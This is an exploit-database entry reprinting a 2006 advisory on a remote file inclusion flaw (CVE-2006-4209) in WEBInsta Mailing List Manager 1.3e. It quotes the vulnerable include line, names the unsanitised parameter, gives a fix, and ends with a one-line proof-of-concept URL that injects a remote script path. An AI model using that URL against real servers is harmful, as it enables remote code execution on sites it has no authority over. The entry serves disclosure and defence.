Exploit WEBInsta MM 1.3e - 'cabsolute_path' Remote File Inclusion

[Exploiter]

EDB-ID

2171

Проверка EDB

1. Пройдено

Автор

PHILIPP NIEDZIELA

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2006-4209

Дата публикации

2006-08-10

+--------------------------------------------------------------------
+
+ WEBInsta Mailing list manager 1.3e (cabsolute_path) RFI
+
+ Original advisory:
+ http://www.bb-pcsecurity.de/Websecurity/311/org/
+ WEBInsta_Mailing_list_manager_(cabsolute_path)_1.3e_RFI.htm
+
+--------------------------------------------------------------------
+
+ Affected Software .: WEBInsta. Mailing list manager 1.3e
+ Venedor ...........: http://www.webinsta.com
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Code /istall/install3.php:
+
+ .....
+ if($database=="none")
+ {
+ include($cabsolute_path.'inc/adodbt/db.inc');
+ $conn = &ADONewConnection();
+ .....
+
+--------------------------------------------------------------------
+
+ $cabsolute_path is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Delete folder "install" after installation!!
+
+--------------------------------------------------------------------
+
+ PoC:
+
+ http://[target]/install/install3.php?database=none&cabsolute_path=[script]
+
+--------------------------------------------------------------------
+
+ Greets: /str0ke
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-08-10]